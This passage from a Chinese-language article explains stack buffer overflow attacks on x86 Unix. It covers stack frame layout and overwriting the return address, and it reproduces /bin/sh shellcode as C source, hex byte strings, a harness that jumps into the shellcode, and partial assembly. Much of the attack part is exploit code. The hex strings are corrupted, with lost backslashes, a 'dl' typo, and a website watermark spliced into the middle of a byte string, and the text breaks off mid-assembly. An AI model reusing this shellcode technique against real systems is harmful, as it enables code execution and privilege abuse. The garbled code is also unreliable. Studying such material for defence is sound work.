P,程序接着继续执行本来的流程。 这里有一个直观的缓冲区溢出的小例子: void function(char *str) { char buffer[16]; strcpy(buffer, str); } Void main() { int I; char buffer[128]; for(I=0; I<127; I++) buffer[I]=A; buffer[127]=0; function(buffer); printf(“This is a test. ”); } 在函数function中,将一个128字节长度的字符串拷贝到只有16字节长的局部缓冲区中。在使用strcpy()函数前,没有进行缓冲区边界检查,导致从buffer开始的256个字节都将被*str的内容A覆盖,包括堆栈指针和返回地址,甚至*str都将被A覆盖。 再看看堆栈的结构,由于栈式内存分配具有一条指令即可为子程序分配全部局部变量的存储空间的特点,分配和去配的开销极低,高级语言通常在堆栈上分配局部存储空间。同时,堆栈也被用来存放子程序的返回地址。对C语言来说,调用函数的语句f(arg1,arg2,…,argn)被翻译为如下指令: push argn ……. push arg1 push n call f 而函数的入口则翻译为如下入口指令(在Intel X86上) pushl ebp mov esp,ebp sub esp,m #m为f的局部变量的空间大小 在Intel X86体系结构上,堆栈是从上向下生长的,因此调用以上函数时的堆栈结构如图1所示: arg1 …… argn n 返回地址 ebp 局部变量 高地址 低地址 图1 堆栈结构图 例如,调用以下函数时 Void f(char *src) { char dest[4]; memcpy(dest, src,12); } 堆栈及变量的位置如图2所示: src l 返回地址 ebp dest[3] dest[2] dest[1] dest[0] 高地址 低地址 图2 堆栈及位置的变量图 从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子: Void main() { char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0); } 编译后反编译,并加以整理,得到与以上程序等价的机器码: “xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80” “xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff” “xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3” 事例程序如下: / test / char shellcode[]= {“xebx2ax5ex89x76x08xc6x4无忧论文 【http://www.uklunwen.com】6x07x00xc7x46x0cx00x00x00”“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80” “xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff” “xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”}; void f(char *src) { char dest[4]; memcpy(dest,src,12); } void main() { int shellentry[3]; shellentry[0]=(int)shellcode; shellentry[1]=(int)shellcode; shellentry[2]=(int)shellcode; f(shellentry); } 由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。 这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节: (1) 启动一个一个Shell的代码——Shellcode的获得 通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下: shellcode.c #include void main() { char *name[2]; name[0]=”bin/sh”; name[1]=NULL; execve(name[0],name,NULL); exit(0); } 把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。 这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。 Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。 SCO Unix下的Shellcode的汇编代码如下: Jmp 0x2a # 3 bytes # 跳到CALL指令处 Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi movl %esi, 0x8(%esi) # 3 bytes movb $0x0, 0x7(%esi) # 4 bytes movl $0x0, 0xc(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL); leal 0x8(%esi) , %ecx |
|